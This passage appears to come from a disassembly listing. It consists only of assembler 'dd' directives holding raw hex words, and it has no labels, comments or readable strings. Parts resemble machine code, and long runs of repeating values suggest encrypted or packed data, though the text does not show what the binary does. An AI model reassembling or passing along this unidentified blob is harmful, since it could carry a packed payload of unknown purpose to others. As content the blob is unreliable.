		dd 0BE9CE96h, 11000000h, 0B022FD5Eh, 0CDE4C1C8h, 6659576Dh
		dd 0C181F38Bh, 0DD88h, 0A002E081h, 4BA46FCh, 8108479Fh
		dd 4767C5EAh, 0BE908h, 9FEB0000h, 0DB0B6BF8h, 75AA4C6Bh
		dd 5F31FF31h, 81F7B70Fh, 4E1E2EF7h, 817FB72Ch, 0FBE0E3F7h
		dd 8104B074h, 7F5250C7h, 58FC500Eh, 0E9833989h,	5AC68104h
		dd 4A2E068Ch, 14850Fh, 0F3800000h, 17E994h, 0E8410000h
		dd 12FAB024h, 0C2E4F05Dh, 0E9F99713h, 0FFFFFFB5h, 5E24DE48h
		dd 608D8D1Ah, 0F07EBF1h, 482h, 8BA6600h, 718D89D0h, 8907E41Bh
		dd 0E423FD9Dh, 0A185C707h, 0B407E42Dh, 6A000071h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0C4B2C350h, 0C01F5AB0h, 0A2CCB965h, 15B503F9h, 0C707E424h
		dd 0E422B985h, 7, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0FFE5475Ch, 0E42BF1B5h
		dd 0F9858907h, 0FF07E429h, 0E4306195h, 52006A07h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
		dd 4FC81E3Bh, 97AD6AFCh, 1AB5858Bh, 0BD0B07E4h,	7E42A19h
		dd 95FF006Ah, 7E40E41h,	1AEBC08Bh, 498BAAA2h, 587F5FB7h
		dd 0D5D099CDh, 3CCDCDC4h, 0FDEB2C2Eh, 831778EDh, 27E902E1h
		dd 0B6000000h, 45D831h,	8 dup(0)
		dd 66E90000h, 6000005h,	62780C2Eh, 0BFD56989h, 1F35C9E3h
		dd 82982C40h, 1EF78BA7h, 88A47FD8h, 0E604DEF4h,	485E3C52h
		dd 0A9C19EB4h, 35B26215h, 13A9514Eh, 9238C70Ch,	2502EC20h
		dd 0BFD1C187h, 78B0C8A5h, 1FB3CFAAh, 0C4142C09h, 961EE562h
		dd 53BC1442h, 0D0AD7B41h, 0D9B280B8h, 558DAD86h, 0C52961BAh
		dd 44211C48h, 0F335B025h, 0E5A4DDC5h, 0F71B26B7h, 21B50E67h
		dd 83172D0Bh, 14300BA9h, 1B2F0EDCh, 0B896B0C2h,	0C29C6AA2h
		dd 0B74B30ADh, 9E071442h, 3E560D45h, 97A9C5A0h,	0F5D34AFAh
		dd 0F714BDFh, 9748649Dh, 0AA1508E7h, 1442C8D5h,	0F107E581h
		dd 0B3C51EB9h, 6CA4BC99h, 42C83DBFh, 307B5814h,	0ACE43D51h
		dd 0ADE505DEh, 0ACFFA76Eh, 113FACEEh, 34368F45h, 0EE8CCF77h
		dd 8C6AF614h, 76896476h, 5FE05B61h, 52h, 5B209288h, 746594FEh
		dd 84617B8Dh, 0F687346Ch, 0AB144242h, 6503B6EEh, 48643F86h
		dd 0E41C7510h, 0C61F3B16h, 2F26D9B4h, 1AFE05Bh,	0D8000000h
		dd 255D7D56h, 0FE1AF593h, 0FF192BC6h, 0DEF6D326h, 0A07F4D85h
		dd 73F0548Ch, 53734C33h, 0B4CCA9BFh, 7B564F20h,	0F795275Fh
		dd 30CB0319h, 62B3C9D0h, 5174C53h, 0BAF212EBh, 0F9D4727Ch
		dd 859269E6h, 0D7401442h, 97CF6C7Eh, 1DB1CDA8h,	0DA122A07h
		dd 0DE16300Ch, 0A7243310h, 144285D0h, 84BC157Eh, 858E75F2h
		dd 0E34C1442h, 275F7D57h, 0A5ED9970h, 54083C4Dh, 0E05BEADBh
		dd 841Ch, 7B564500h, 7D59275Fh,	4AC72B63h, 2C48231Ah, 9F976ADCh
		dd 6F5AA764h, 0C3613B5Dh, 0A2BC98E9h, 3E76CF6Ah, 9C7791A3h
		dd 18B64880h, 53D0203Eh, 1442A9ACh, 95AFC12Ah, 0D06AA2B6h
		dd 0D89F1C7Eh, 761442A9h, 265EFB0Dh, 0DEFAD573h, 1EF90BA6h
		dd 0E05C0711h, 14C29C7h, 39D40C24h, 432FCEE0h, 58000000h
		dd 275F7B56h, 2D657B59h, 0A29DC94Ch, 0F95BABC7h, 42A0877Ch
		dd 5C864414h, 76476807h, 88AABC25h, 2A7D56B7h, 0FAD7374Bh
		dd 1655A1E7h, 59063E97h, 1442F6A7h, 0D787BF7Ch,	0E05BBB28h
		dd 1ADh, 7A56D600h, 7D5A2860h, 9F762D65h, 3D16B4E7h, 15F10B1Dh
		dd 474867FBh, 0BAA51767h, 8610FDE9h, 9D1AF80Ah,	13A65B57h
		dd 9CAD8925h, 0A65C581Fh, 348DF613h, 0F8D5A3DBh, 0B12E90E0h
		dd 13A65CCAh, 0EB0D1F88h, 0A8E0F8D5h, 889F7816h, 0A65C740Bh
		dd 2079E213h, 423B4DE8h, 13A65CBBh, 1F1E46C9h, 78DA2A42h
		dd 0A65C04FBh, 5769D213h, 7CF95B35h, 13A65C87h,	825EEA53h
		dd 5F3C5668h, 64410F47h, 0DD6144Ch, 0EA09E659h,	7C735FA6h
		dd 0B90962D8h, 1224401Bh, 1CE619F0h, 72EFD877h,	18000001h
		dd 0FEFC2092h, 3887CE35h, 228C0326h, 4A8B55D2h,	0E04913A6h
		dd 0E5FDDAA8h, 465E3B51h, 4B63400Eh, 580CD513h,	0A0F008E5h
		dd 0B23AC13Eh, 2F9813A7h, 74ACC8A3h, 0CEA5C7D9h, 0D876FF31h
		dd 67A6h, 444DCF00h, 46B81A6Ah,	0B835F8A0h, 1442D3C3h
		dd 6DC6268Fh, 0CFEBC6EFh, 746B6476h, 226BBD0Eh,	2FD481B9h
		dd 709442F1h, 556B4992h, 0F129821Dh, 0F22A4A23h, 3D20643Bh
		dd 77124A5Eh, 2A5A211Eh, 809B0D6Fh, 9144AF20h, 294037A2h
		dd 0A50E9442h, 8D217093h, 0D6DBC03Dh, 0DB77EBBDh, 10ABE301h
		dd 0CA5523B7h, 0E4000000h, 1C6C424Dh, 283E1CBAh, 4A4355F0h
		dd 13A6B998h, 9368E547h, 3F13A6B9h, 85E5C4D6h, 0B9D1A623h
		dd 147D13A6h, 0A6B9D2A9h, 4E6A4513h, 688861FDh,	0E33C9530h
		dd 0B500DDABh, 0D468C1D7h, 3EC2E1BEh, 263DBBD5h, 90225AB3h
		dd 0ECFE14F2h, 0A608F7F3h, 0B0F47713h, 552AA709h, 113A609h
		dd 8F6C8698h, 70089770h, 5F1AAB41h, 0A3393DBh, 5A107038h
		dd 4E427337h, 1C3BCF28h, 102E0873h, 0EFC967B7h,	0ECFE99D1h
		dd 0CD4AAC0Eh, 13A60336h, 30293BA4h, 144DF2CBh,	0ED0EEA88h
		dd 6E48ED75h, 6DA5FECEh, 78E1C0D2h, 7D957240h, 8FB78E45h
		dd 56A60887h, 7936A2D9h, 0C1BF311Ch, 0C24D387Ah, 72FA06B6h
		dd 750E312h, 19AD16F5h,	6C424D48h, 411CBA1Ch, 4052ED25h
		dd 0A9513047h, 0A42E9E13h, 0D4F4CDD6h, 30A1019Ch, 0E1197222h
		dd 8A1E3613h, 1B43EB0h,	18A0C629h, 0F70FEC06h, 495012BFh
		dd 8F4D519Ah, 0E9FB15F1h, 4825184Ch, 0A9869C30h, 0AC8B5991h
		dd 0D2A96098h, 0B6CEAB92h, 0D4EAC866h, 0CDEF019Ch, 8AC2DAB7h
		dd 657D5AF8h, 38153h, 8D100000h, 5C7E563Eh, 61795624h
		dd 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h, 768A6937h
		dd 7A94703Eh, 7B9B7442h, 8950EE43h, 405E0h, 42D0000h, 87000000h
		dd 895C2404h, 0D682414h, 89000052h, 29682414h, 8900006Fh
		dd 0B850243Ch, 23167CFh, 0CD24A1BAh, 58C23142h,	8106EAC1h
		dd 224B33EAh, 14CA8177h, 811DF94Eh, 0F201D2C2h,	32396869h
		dd 24890000h, 24048324h, 13685F04h, 89000021h, 478F2414h
		dd 243C8B08h, 81E78957h, 4C7h, 4C78100h, 87000000h, 0FF5C243Ch
		dd 815A2434h, 4C4h, 86F5E900h, 0CD4FFFF8h, 0CF6957B6h
		dd 0DA2D9145h, 0F506C799h, 0F683B816h, 0C50307EBh, 8CF2E0FFh
		dd 6DA21F9Bh, 0F12E1345h, 797A088Ch, 56317791h,	735F7EA1h
		dd 0BF493B8Dh, 67137B54h, 0D6447F84h, 0C441334Dh, 0E3BF0AFAh
		dd 7563720Bh, 0BF3D5EB7h, 0BA6A7448h, 93A40894h, 40E53A4Ch
		dd 0EC63571h, 3AF102B0h, 690561BAh, 537B5060h, 0F2387426h
		dd 0EB0A6463h, 213655C3h, 7C67301Dh, 0AEA06126h, 78612A73h
		dd 4BF759B1h, 0D26C7E55h, 0DE8502Bh, 63000000h,	0F7E443C4h
		dd 0C58D67F9h, 0AEFF6E19h, 0F3816660h, 586134FCh, 9E8h
		dd 72AA7300h, 358133C8h, 0BA6647FDh, 815EF3F5h,	66BFC0h
		dd 850F00h, 0BF000000h,	7EF9DFFh, 7B8AC781h, 800FF810h
		dd 4, 698CB966h, 8B66188Bh, 9DC381D3h, 0E815C80Dh, 9, 985D6A0Ch
		dd 8804E5B2h, 0EB81594Ah, 44F149B9h, 10D4C381h,	810F2BDCh
		dd 3, 89D2B70Fh, 29B96618h, 0BAE88154h,	6657C2C4h, 0C081F28Bh
		dd 57C2C4B6h, 81F18B66h, 1EFh, 0AD850F00h, 0FFFFFFFh, 0ECE9C9BFh
		dd 0
		dd 37000000h, 37C8106h,	587C81CEh, 57C80C0h, 0ED7C9010h
		dd 7C9010h, 276F200h, 5	dup(0)
		dd 0A0000000h, 7C80ADh,	2Bh dup(0)
		dd 6000000h, 14000000h,	0A11611EDh, 92CA11A2h, 6C21E4DBh
		dd 4D471561h, 2B07A8E5h, 65321282h, 361457Fh, 4023ADA6h
		dd 0A7BB1566h, 16D6011Fh, 61C288EBh, 97CD1280h,	9FB14D3Dh
		dd 16D61C53h, 0D8256166h, 4023AD35h, 0A7BB1566h, 16D6011Fh
		dd 6EED88EBh, 97CD1280h, 0A63D4D3Dh, 11321561h,	7E99506h
		dd 0AD53C0ECh, 22321576h, 926A205Ch, 8BBA96D6h,	6380C755h
		dd 0B19F7BB1h, 98F19C35h, 0AC2E9EBEh, 0B836D1E5h, 0DA66A8E5h
		dd 1E32128Dh, 88324DE2h, 43B71A66h, 2D321566h, 113214E5h
		dd 0DBFED66h, 43D97385h, 22339569h, 0EECB1566h,	7CB875B6h
		dd 0B2F99400h, 0A83D749Ah, 11321571h, 8832078Fh, 0DB0BCC66h
		dd 0A37A7C40h, 8F8F701Ah, 0EB8FBD0Eh, 0C9A4E2DDh, 0C95506E3h
		dd 90547561h, 98621B4h,	0F576E4ADh, 0F2CD745Bh,	3CB7D39Eh
		dd 0DE35F14Ah, 43BF1A9Eh, 2D321566h, 113214ECh,	0DA5AEC66h
		dd 0B1AEBDDEh, 373A099h, 1E521282h, 8752D3D9h, 443215EAh
		dd 4348A666h, 0B6B79807h, 0E835F2D6h, 0B8E59E00h, 42E2EA07h
		dd 11349D69h, 66B31566h, 13A595Ah, 0DA53B1D6h, 84390EFh
		dd 0EE521282h, 4EDBDFEDh, 2A321566h, 42561424h,	5FAA7DC8h
		dd 0C93D74FFh, 2232157Dh, 113DFC06h, 68411566h,	0F165B7C3h
		dd 38224A3h, 51FAEC18h,	6FB37304h, 835338C4h, 0C63F2CE3h
		dd 11321561h, 82B91A66h, 24321566h, 22329B69h, 70521566h
		dd 0A5B7D307h, 135F14Ah, 4B5B7D9Eh, 1DB9B14h, 0D321566h
		dd 1B7A7228h, 9B3496E0h, 739B4C89h, 77448C2Dh, 0A03388D3h
		dd 0EBB37561h, 56C4C83Fh, 54B79807h, 0AD35F15Dh, 2232156Fh
		dd 0FFA0E9F1h, 3849A816h, 0ADE2EA6Dh, 2232156Bh, 0BD7A5D3h
		dd 1B0FB77Dh, 97A6FB68h, 0A3B79C49h, 0E835F174h, 0A41F90A0h
		dd 4B711282h, 223214EDh, 4F5AED66h, 61AE720Dh, 4432156Eh
		dd 56340133h, 0D5461821h, 89AFA099h, 0CE521282h, 0C2E19480h
		dd 7072A258h, 88321F8Fh, 0C24CB166h, 7D9C151Ah,	9CFC00CAh
		dd 6C09C9E3h, 4CB81A61h, 2D321566h, 113217EAh, 61537566h
		dd 44321560h, 7B30D458h, 0C1CD3260h, 883C9F69h,	4B521566h
		dd 223215EDh, 8BDA9466h, 0E9673664h, 0BC0E90EFh, 2DDB128Dh
		dd 0EA321566h, 0DD6D7863h, 6E0FB63Eh, 0BF976ABh, 94F446E5h
		dd 8FD6394Bh, 4439FC32h, 0CFF51566h, 0BE820AACh, 63495B37h
		dd 2C1B7D94h, 0DDCBFB04h, 0F53388D3h, 0DBFED61h, 43D62EBAh
		dd 22299469h, 90521566h, 0AD2120AEh, 443CFC2Ah,	31C61566h
		dd 0FDCCF927h, 0DA38F9EBh, 0D7740173h, 2DBF1A07h, 0F8321566h
		dd 8832156Ch, 0C90161B4h, 697971DFh, 0C1CDD886h, 88321F8Fh
		dd 5BA3B266h, 7B8997h, 98D31CE2h, 63CA55E3h, 0C1F4E061h
		dd 25D6394Bh, 3B31A23h,	87321566h, 443219EAh, 2235FC66h
		dd 3BBE1566h, 555B4000h, 7CF07D80h, 29DBCF06h, 0AA321566h
		dd 0FC090C3Eh, 0A3120A1Ch, 97CDE64Dh, 16D614FBh, 88339F69h
		dd 0C9CE1566h, 0C609C9E3h, 13B41A61h, 0E8321566h, 24E2EA07h
		dd 2232048Eh, 0F2469766h, 12265CB0h, 24066FE5h,	466A952Bh
		dd 0FFB2639Eh, 9544BE9h, 25BCB391h, 0DA7690EFh,	1E52128Dh
		dd 954DAD1h, 25F3C385h,	227A8E5h, 1E321282h, 883314E3h
		dd 4CBA1A66h, 2D321566h, 113217EDh, 4E537566h, 0A01E38E3h
		dd 36DB5061h, 0BF321566h, 2BEC145Ah, 9D15410Dh,	88ED4B45h
		dd 396B29C0h, 749F3844h, 644C930Eh, 97CDED9Ch, 16D614FBh
		dd 80BC1A9Ah, 24321566h, 22329869h, 9C531566h, 6C09C9E3h
		dd 4BCA7561h, 223210E7h, 7F17AC66h, 77531AA4h, 0C1BBE0B6h
		dd 25D9ED2Eh, 11321E8Fh, 56556166h, 0ABC690EFh,	0D2E1524Ch
		dd 3D1F90A0h, 707E1282h, 62E2D60Eh, 3BB31A86h, 0F8321566h
		dd 88321572h, 0C4639CC4h, 1D9F57DAh, 45393387h,	45D161h
		dd 0D3EB5681h, 23AFA099h, 983D1282h, 8832156Bh,	44321D8Fh
		dd 96F93566h, 0D7DFD04h, 0DBFED7Ah, 43D62EBAh, 23B41A9Ah
		dd 0E4321566h, 0EE52C599h, 0E6ACF4E7h, 6EB79C07h, 0F835FE9Eh
		dd 88321569h, 7183A413h, 4492234Bh, 104EA845h, 61C96378h
		dd 44321460h, 223A9D69h, 913D1566h, 88321564h, 0C1F47406h
		dd 25D6394Bh, 16B61A34h, 87321566h, 443214EDh, 2F5AEC66h
		dd 0E48E5F82h, 0AA67A099h, 57DB1282h, 3B321566h, 2173FA77h
		dd 5FCC6C09h, 0F7713449h, 5963C706h, 973DBBF2h,	88321561h
		dd 4B537506h, 0AF53C6D1h, 0F509C9E3h, 83B91A61h, 0AD321566h
		dd 22321560h, 7BDDA110h, 81DBFED8h, 25321566h, 0DFDFB5A5h
		dd 2D369CA9h, 1C7C599h,	0AFCA5DE3h, 0A7F4EC61h,	16D6394Bh
		dd 48897534h, 0CF50DDBEh, 6A5A74B5h, 1E94592Ch,	883214E9h
		dd 0F1CDE966h, 25D63733h, 1132188Fh, 1092966h, 0AEAA309Eh
		dd 0A349D966h, 94BFA9CBh, 8FD62EBAh, 443DFC9Ah,	9B051566h
		dd 0D9E62168h, 0B44A39B3h, 4807A34Dh, 42E2EAC3h, 14B01A9Ah
		dd 0EE321566h, 0FF6F5E7h, 6EB79C07h, 1E35FE9Eh,	883214E0h
		dd 0C13DE066h, 22321574h, 113BFC06h, 39A61566h,	95CA2E4h
		dd 428557C8h, 94F47407h, 8FD6394Bh, 4437FC34h, 76B31566h
		dd 79122E13h, 7570A18Ch, 44321B8Fh, 0EC5B466h, 0C47BDC44h
		dd 0B0F20955h, 243B00FFh, 2D9ECFE6h, 0EE53D2D9h, 6C3388D3h
		dd 443EFC61h, 8CD41566h, 0D9265203h, 8AD96F3h, 0C1BF579Ch
		dd 25D62EBAh, 113A9F69h, 73D1566h, 44321564h, 0F2CD7406h
		dd 113A9769h, 53D1566h,	44321564h, 0A7BB7406h, 16D634EFh
		dd 0A5B7D39Eh, 3335F14Ah, 22339D69h, 79C71566h,	7BA5BDC5h
		dd 4432058Fh, 0B2210066h, 45CA7782h, 2E9943F4h,	9CDEEE75h
		dd 0C387EA85h, 0F835F17Bh, 8832156Eh, 351F6B8Bh, 0C3D55316h
		dd 2AEE90EBh, 77CE1282h, 0C1BBEDB6h, 25D61AE7h,	113E9269h
		dd 23D1566h, 44321560h,	22329C69h, 94F41566h, 8FD6394Bh
		dd 535AE034h, 42B8C857h, 11309E69h, 0E9521566h,	4432048Fh
		dd 12775966h, 0E93640C5h, 97EFCDF0h, 0BB51B40Bh, 0DD53A02Bh
		dd 0F53388D3h, 0DBFE961h, 43D62EBAh, 22369C69h,	0A0521566h
		dd 58CD7423h, 0FDB79C9Fh, 4235F143h, 11321B8Fh,	3BA90E66h
		dd 63A4343Eh, 0E9DDAEDDh, 77C2E2A3h, 4E53D3EDh,	0A01E38E3h
		dd 2D524361h, 973DD7D1h, 88321565h, 25C3A269h, 3D5F2C0Eh
		dd 0CBB975B2h, 78B97306h, 44329469h, 43531566h,	3073A099h
		dd 5CB1282h, 0A382B2E3h, 23BD1A61h, 0E9321566h,	83DBC599h
		dd 0EA321566h, 9413ED73h, 0C3F11E75h, 0DBBDBC4h, 43D60A53h
		dd 222E9169h, 963D1566h, 88321570h, 4432048Fh, 0DE322F66h
		dd 53128143h, 62FBF0CFh, 0AB6A54A1h, 0A7F4C768h, 16D6394Bh
		dd 9EB71A21h, 0AD321566h, 22321577h, 0E597AF3Bh, 12B33A9h
		dd 5B028418h, 0B43B120h, 1487D9Fh, 87DB94BAh, 6A321566h
		dd 97B3A694h, 965C44A9h, 740E0EDAh, 0F1CDC5A7h,	25D614FBh
		dd 11321B8Fh, 1BD92F66h, 99E0215Ah, 0E2917867h,	9C03355Fh
		dd 6C09C9E3h, 57BB1A61h, 0CB321566h, 11321568h,	454BF9ECh
		dd 0F4EF2E56h, 0ECBE433Bh, 0C1CDDB99h, 88339369h, 0CDCE1566h
		dd 0C62764E3h, 94F4E961h, 8FD6394Bh, 41BD1A21h,	42321566h
		dd 70EAAA69h, 8787F70Eh, 43B61AECh, 2D321566h, 113214E7h
		dd 3DCDE066h, 43D614FBh, 2232188Fh, 615E1066h, 0DDE66AEDh
		dd 0D244D629h, 0A7BFBFB8h, 16D62EBAh, 8832108Fh, 3800B266h
		dd 0F2CD576Ah, 7DB79C9Eh
		dd 6135FE9Eh, 44321576h, 0DF450A01h, 761D9867h,	0E520BF75h
		dd 0E05F1D10h, 43C7EC06h, 0BDB90A1h, 884A1282h,	0ADCB1566h
		dd 22321574h, 0A5A4299h, 973FBDBEh, 8FBA2E3Bh, 3F73A7BAh
		dd 0ACB18E22h, 8FD6367Bh, 6EB61A66h, 2D32157Fh,	113212E8h
		dd 0D2627566h, 25C7DEE6h, 0E1F90A0h, 0F87E1282h, 88321560h
		dd 0E41AC277h, 0CB5A22BEh, 1EEBCF7Ah, 883214E0h, 0F1CDE066h
		dd 25D614FBh, 11339369h, 5CE1566h, 0A009C9E3h, 0FAB37561h
		dd 35249CC0h, 0E9CC9E00h, 4FDBC599h, 0B9321566h, 0BEBDF7BAh
		dd 395E2120h, 0C1BB150Ch, 25D9ED3Eh, 1EEB9F06h,	883217E1h
		dd 25C29E66h, 0E1F90A0h, 0E47E1282h, 0FCECDB0Eh, 25CE75BBh
		dd 22321B8Fh, 0BF597866h, 4D9C9376h, 0E6272D9Ah, 0DD8461C1h
		dd 0F53388D3h, 53D7561h, 44321564h, 0F8B26AD1h,	1E527444h
		dd 883216EAh, 97B97366h, 0FEB79807h, 0E835F15Dh, 73DC599h
		dd 4432156Dh, 0E98D1A06h, 0D4A6E5E7h, 61534432h, 4432156Ch
		dd 0AD11CD4Ah, 79F98120h, 0DBB8929h, 43D9ED3Ah,	22321C8Fh
		dd 15FB3266h, 92A1DC9Ah, 56DB261Fh, 5B321566h, 0BC3CC52Ah
		dd 0A900BFD5h, 3C3C200Eh, 83478F58h, 3CB7D37Dh,	0C435F14Ah
		dd 0C60D7D9Eh, 0A33DA2E7h, 11321577h, 8832198Fh, 329D066h
		dd 4FEB9C5Ch, 633642CDh, 1587EAF4h, 2435F167h, 4593AA00h
		dd 94BF749Fh, 8FD62EBAh, 0ADE2EA9Ah, 22321569h,	0D91459C1h
		dd 0F2CCC701h, 0BBA49C07h, 0DAD0DEA0h, 0E95290EFh, 9CDB128Dh
		dd 0AE321566h, 444065FBh, 97A6268Bh, 3179575Ch,	26FEECDCh
		dd 0E4B80036h, 0F51E38E3h, 0E0CA5961h, 0F71D557Eh, 0BF87EA9Fh
		dd 1E35F167h, 883213EAh, 1E627566h, 0AF53F6ECh,	0F509C9E3h
		dd 84B01A61h, 4B321566h, 223213E6h, 11BA1A66h, 77321566h
		dd 0C4CE75B6h, 0DA5355A7h, 0E95290EFh, 53D128Dh, 44321568h
		dd 22321C8Fh, 0D86ADE66h, 2D2DB0C1h, 54DBA8E1h,	0A321566h
		dd 43125122h, 0A5F41C45h, 8C0C42Fh, 0E4AC11E5h,	0F51E38E3h
		dd 2525361h, 7410AF9Ah,	4A5324DBh, 0ABEC1372h, 7753E906h
		dd 0A03388D3h, 9D3D7561h, 70F89EA4h, 0B3EE90EBh, 0F6521282h
		dd 0F2CD7486h, 1132068Fh, 95C7D266h, 9C707CB6h,	706F418Fh
		dd 92211BB8h, 0E67DDF5Bh, 0BC5A90EFh, 0A83D128Dh, 11321568h
		dd 88321C8Fh, 770A2F66h, 7A0B5D97h, 94F4B1D1h, 8FD6394Bh
		dd 4420FC21h, 54E11566h, 0DA223C00h, 78FFAC22h,	0E3053D92h
		dd 4D7C0895h, 0CD226F0Eh, 8FB71AE7h, 24321566h,	70E29E00h
		dd 9B527438h, 51B37387h, 0BB53B131h, 0C63388D3h, 94BFED61h
		dd 8FD62EBAh, 4432198Fh, 92914866h, 6156785h, 362DCDDEh
		dd 4423FC20h, 28F41566h, 220A2F92h, 0D00B5D97h,	6BA2B1D1h
		dd 0DDAA9626h, 113DFCB6h, 2D81566h, 73F254F9h, 71028029h
		dd 620711Ch, 0F8B79C9Bh, 0BC35FE9Eh, 0E1F90A0h,	0F8751282h
		dd 88321561h, 11457275h, 4AF985E6h, 0FEB59BCAh,	882C9369h
		dd 4B521566h, 36DBC5D9h, 51321566h, 606D1F35h, 65B47844h
		dd 0AF9A4D12h, 0FAF3ACB6h, 0E943E516h, 45AFA099h, 0AFC71282h
		dd 0F509C9E3h, 883CFC61h, 71D11566h, 1D52E371h,	8EADBD1Ch
		dd 7E75026Ah, 0C03DC599h, 22321575h, 113F9D69h,	80DB1566h
		dd 6321566h, 8F99260Ch,	1EBCC3E8h, 883200EFh, 4422FC66h
		dd 0A3F21566h, 6C233E2h, 258218ADh, 81488F13h, 0A7BBAC26h
		dd 16D9ED12h, 6AB3EC06h, 58ABFB03h, 0FB7D307h, 5635F14Ah
		dd 88359369h, 0CF3D1566h, 22321567h, 0B6E07D9Eh, 77CEC1FCh
		dd 0A03388D3h, 0A3547561h, 1EB78DBCh, 553E5D1h,	0A009C9E3h
		dd 0DDCEEC61h, 1134FCB6h, 763A1566h, 0EC2855B6h, 0DA4A90EFh
		dd 0D7CE128Dh, 6C1E38E3h, 2CCA5261h, 98F32C62h,	8C87EA93h
		dd 7135F167h, 7FEE90EBh, 0DDCB1282h, 94BBECB6h,	8FD9ED1Ah
		dd 44399469h, 24DB1566h, 65321566h, 8C34EBEh, 998F967Ah
		dd 2235F148h, 11A59069h, 2521566h, 93851A8Dh, 0FB7D307h
		dd 5635F14Ah, 46E29506h, 2552749Fh, 501F720Eh, 0F9527586h
		dd 88321560h, 0E70D4A11h, 0D76C2ABCh, 0E2B87507h, 0E9537406h
		dd 4422FC06h, 6ADE1566h, 2F116CCCh, 0FE7914F5h,	16370B08h
		dd 0DD53C7F0h, 0F53388D3h, 0DBFED61h, 43D62EBAh, 223E9469h
		dd 77521566h, 0F7BE3E7h, 8AD53ADDh, 0F2CD745Bh,	11321F8Fh
		dd 0B9E5F566h, 8FC08354h, 0ABE8A238h, 0FACA95E3h, 99DB7561h
		dd 0EF321566h, 3DCAE652h, 0CE5ECFF8h, 0BD0EB78Eh, 5B0C62ACh
		dd 0FB7D307h, 5635F14Ah, 88349A69h, 17521566h, 4353753Ch
		dd 0A2837D9Eh, 0EE529B4Fh, 0FD4BF7E7h, 2234FC06h, 3A4A1566h
		dd 0CEC45004h, 0F1CD7407h, 25D614FBh, 77EA9E06h, 1A4EFEE7h
		dd 98B79807h, 2D35F15Dh, 113206E4h, 883CFC66h, 69661566h
		dd 4AB2A879h, 82370CCCh, 0CF5C04F0h, 0CB3DC599h, 22321574h
		dd 1132188Fh, 0AF8F1166h, 82CEDE0Eh, 38CA5D9Ch,	9052C5D6h
		dd 47EDD7A7h, 4439FD57h, 0AD0F1566h, 605A9856h,	8059A243h
		dd 4438FD2Eh, 0DE1566h,	0C763926Fh, 77C15C19h, 0CD534A3Eh
		dd 0C9CA91E3h, 94F4E061h, 8FD6394Bh, 0E35AE025h, 0DEF2632Ch
		dd 10AFA099h, 0F3D1282h, 44321567h, 0FEB79893h,	1E35F15Dh
		dd 883214E8h, 94CDE066h, 20BF1A06h, 9A321566h, 8837FDB1h
		dd 0BD571566h, 0CA2B7D03h, 11321569h, 0A202438Fh, 7E37E3C4h
		dd 6753CB29h, 4B09F015h, 1CE7439h, 0AFCA9DE3h, 2234FC61h
		dd 85DA1566h, 4BDA2383h, 4432078Fh, 0A57D4C66h,	0C89141A1h
		dd 5065FAD1h, 0B9366D02h, 0E4515426h, 0F51E38E3h, 80DB5961h
		dd 0FD321566h, 647CB734h, 790EDDC3h, 7354798Dh,	0A587EA9Eh
		dd 2D35F17Bh, 113214E3h, 0DBFEC66h, 43D62EBAh, 2237FC06h
		dd 5DF21566h, 0EED8730Fh, 810AC3E7h, 28BC1A07h,	71321566h
		dd 7EB37406h, 6FE32524h, 0CBE2EA07h, 1132156Dh,	0A15765C0h
		dd 0DEBE5733h, 0AB3DCCEDh, 0FACB09E3h, 8838FC61h, 100A1566h
		dd 0D1B45A34h, 8A1E2BD4h, 0A41F90A0h, 0B1761282h, 51BC400Eh
		dd 10BD1ADDh, 71321566h, 45AFA099h, 2D521282h, 9C53D5D1h
		dd 6C09C9E3h, 51B81A61h, 42321566h, 11329C69h, 8FDA1566h
		dd 8E321566h, 0F3D4F538h, 706CBFB7h, 87DBC599h,	0DC321566h
		dd 3C65A0FFh, 6ED77A2Ah, 0F29405E8h, 0C1BBC61Fh, 25D9EDEAh
		dd 113DFD06h, 4FDA1566h, 0DE658449h, 3E192702h,	60E0553Eh
		dd 528D1AE9h, 45B21A3Eh, 0DE321566h, 1DBA1A07h,	87321566h
		dd 443213E4h, 22B61A66h, 0D7321566h, 6C1E38E3h,	56DB5661h
		dd 0CF321566h, 24962FBEh, 940012C4h, 0DEDBB3F7h, 8CAEDA0h
		dd 7FCE7D5Ch, 77CEA9E8h, 0A03388D3h, 223CFC61h,	714B1566h
		dd 0ADE9387Eh, 9C661B7Fh, 0E2A93FDDh, 2AEE90EBh, 70CB1282h
		dd 0CDC7C599h, 0C9CA85E3h, 0EB51A61h, 87321566h, 44320CEDh
		dd 2226FC66h, 40561566h, 9C2F8473h, 623A3C68h, 4528CC5Ah
		dd 329BBD72h, 0DF4B408h, 43D6394Bh, 0CB52E935h,	1132156Eh
		dd 0CB816134h, 0B1B9C3E3h, 4A53DEEDh, 0D7222BCCh, 0D0CB4706h
		dd 0D987EA07h, 0CB35F167h, 1132156Bh, 66F9774Fh, 1C34E5A9h
		dd 958FF9Ch, 0CDB79892h, 0E835F15Dh, 44321C8Fh,	0D2369866h
		dd 2EC31543h, 87DBAC63h, 48321566h, 91742176h, 8DAE9F3h
		dd 0E105CF0Dh, 0BB539C89h, 34B31AB6h, 0F8321566h, 88321577h
		dd 7DF89A31h, 9E7C4D0Ch, 25359176h, 2B09FB59h, 0C1BBEC50h
		dd 25D9EDF2h, 42E99406h
		dd 37957E1h, 0F9B1749Fh, 25D6383Bh, 0B61A66h, 87321562h
		dd 44321FEDh, 2237FC66h, 82BC1566h, 61927F37h, 44321572h
		dd 0C226AAFAh, 0AF80665Ah, 4C956705h, 32D33A71h, 50F7C952h
		dd 3D1F90A0h, 61741282h, 44321577h, 0C64FA36h, 48A8DF40h
		dd 0F442B248h, 39031DACh, 0EC037D3Fh, 3DBEFF0h,	34321566h
		dd 0E704BB9Fh, 0B9AA4965h, 231BD78h, 0D5E99040h, 0D987EA39h
		dd 0DA35F167h, 2AEE90EBh, 0B3D1282h, 44321575h,	22321B8Fh
		dd 8100C666h, 0CB5C40CBh, 0E57A670h, 42D7C52Fh,	7094F3E6h
		dd 0EE52C599h, 4BDBCCEDh, 16321566h, 802AE1C6h,	0C8ED81ECh
		dd 0AC6D1F35h, 2D537844h, 113219E3h, 858C7566h,	0FF7D0316h
		dd 44CAB1A8h, 0E1B79C07h, 6135FE9Eh, 44321568h,	90737464h
		dd 27495ED2h, 1D992E50h, 0C1F4AD62h, 25D6394Bh,	1126FC20h
